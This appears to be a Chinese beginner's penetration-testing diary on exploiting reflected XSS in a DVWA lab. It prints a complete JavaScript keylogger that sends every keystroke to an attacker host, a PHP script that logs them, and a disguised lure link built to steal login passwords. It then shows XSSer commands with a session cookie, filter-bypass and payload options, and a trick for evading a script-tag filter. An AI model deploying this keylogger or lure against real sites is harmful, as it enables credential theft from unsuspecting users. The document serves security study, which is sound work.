小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser
XSS
原则上:只要XSS漏洞存在,可以编写任何功能的js脚本
【反射型漏洞利用】
键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上
服务器:kali 客户端
启动apache2服务:service apache2 start
语法:<script src="http://192.168.1.127/keylogger.js"></script>
keylogger.js
1 document.onkeypress = function(evt) { 2 evt = evt || window.event 3 key = String.fromCharCode(evt.charCode) 4 if(key) { 5 var http = new XMLHttpRequest(); 6 var param = encodeURI(key) 7 http.open("POST","http://192.168.1.127/keylogger.php",true); 8 http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 9 http.send("key="+param); 10 } 11 } 12 ~
keylogger.php 【用来接受客户端提交上来的数据】
1 <?php 2 $key=$_POST['key']; 3 $logfile="keylog.txt"; 4 $fp = fopen($logfile,"a"); 5 fwrite($fp,$key); 6 fclose($fp); 7 >
为避免被引起用户怀疑,可将跳转命令置于html文件中
前提:用户已经登录网站,获得其cookie信息
#伪造诱人连接{如:限时抢购门票、手机等},转到存在xss漏洞的页面【主要危害为登录页面】,窃取用户登录账号密码
a.hmlt
1 <a href="http://192.168.1.107/dvwa/vulnerabilities/xss_r/?name=<scripr+src='http://192.168.56.102/keylogger.js'></script>">诱人字眼</a>
XSS利用工具
Xsser 【专门针对XSS漏洞,使用python编写】
可使用图形化界面 xsser --gtk 【不建议使用,界面不够友好】
可绕过服务器端输入筛选 【xss存在极其普遍】
1、编码 10进制/16进制
2、函数:unecape()
简单使用语法:xsser -u "http://192.168.56.101/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=31677b04bc31eac6cd78dbb1922e8028" -s -v --reverse-check
【GET:将对应页面和参数写进-g参数中;POST:使用-P;-s:统计请求数;-v:显示详细信息;--reverse-check:禁止提交hash值方式验证(此方法存在误判)】
--heuristic 探测服务器,检查被过滤的字符(会发送大量请求){脑洞:sql} 【所有过滤机制都是基于字符过滤】
对payload编码,绕过服务器短筛选过滤 【过多编码可能造成语义误差】
1 *Select Bypasser(s)*: 2 These options can be used to encode selected vector(s) to try to 3 bypass possible anti-XSS filters on target(s) code and possible IPS 4 rules, if the target use it. Also, can be combined with other 5 techniques to provide encoding: 6 7 --Str Use method String.FromCharCode() 8 --Une Use Unescape() function 9 --Mix Mix String.FromCharCode() and Unescape() 10 --Dec Use Decimal encoding 11 --Hex Use Hexadecimal encoding 12 --Hes Use Hexadecimal encoding, with semicolons 13 --Dwo Encode vectors IP addresses in DWORD 14 --Doo Encode vectors IP addresses in Octal 15 --Cem=CEM Try -manually- different Character Encoding Mutations 16 (reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')
注入技术
1 *Special Technique(s)*: 2 These options can be used to try to inject code using different type 3 of XSS techniques. You can choose multiple: 4 5 --Coo COO - Cross Site Scripting Cookie injection 6 --Xsa XSA - Cross Site Agent Scripting 7 --Xsr XSR - Cross Site Referer Scripting 8 --Dcp DCP - Data Control Protocol injections 9 --Dom DOM - Document Object Model injections 10 --Ind IND - HTTP Response Splitting Induced code 11 --Anchor ANC - Use Anchor Stealth payloader (DOM shadows!) 12 --Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters
1 *Select Final injection(s)*: 2 These options can be used to specify the final code to inject in 3 vulnerable target(s). Important, if you want to exploit on-the-wild 4 your discovered vulnerabilities. Choose only one option: 5 6 --Fp=FINALPAYLOAD OWN - Insert your final code to inject -manually- 7 --Fr=FINALREMOTE REMOTE - Insert your final code to inject -remotelly- 8 --Doss DOSs - XSS Denial of service (server) injection 9 --Dos DOS - XSS Denial of service (client) injection 10 --B64 B64 - Base64 code encoding in META tag (rfc2397) 11 12 *Special Final injection(s)*: 13 These options can be used to execute some 'special' injection(s) in 14 vulnerable target(s). You can select multiple and combine with your 15 final code (except with DCP code): 16 17 --Onm ONM - Use onMouseMove() event to inject code 18 --Ifr IFR - Use <iframe> source tag to inject code
源码分析
低安全级别 【$_GET[]:直接回显输入的数据,不做任何过滤】
1 <?php 2 3 if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ 4 5 $isempty = true; 6 7 } else { 8 9 echo '<pre>'; 10 echo 'Hello ' . $_GET['name']; 11 echo '</pre>'; 12 13 } 14 15 ?>
中安全级别 【在输出时替换script为空,可拆分重整script为scriscriptpt】
1 <?php 2 3 if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ 4 5 $isempty = true; 6 7 } else { 8 9 echo '<pre>'; 10 echo 'Hello ' . str_replace('<script>', '', $_GET['name']); 11 echo '</pre>'; 12 13 } 14 15 ?>
高安全级别【htmlspecialchars():进行html编码,目前最有效的方法(并非完全不可绕过【不需要尖括号的情况:如<a href=>】)】{可用burpsuite进行编码}
1 <?php 2 3 if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ 4 5 $isempty = true; 6 7 } else { 8 9 echo '<pre>'; 10 echo 'Hello ' . htmlspecialchars($_GET['name']); 11 echo '</pre>'; 12 13 } 14 15 ?>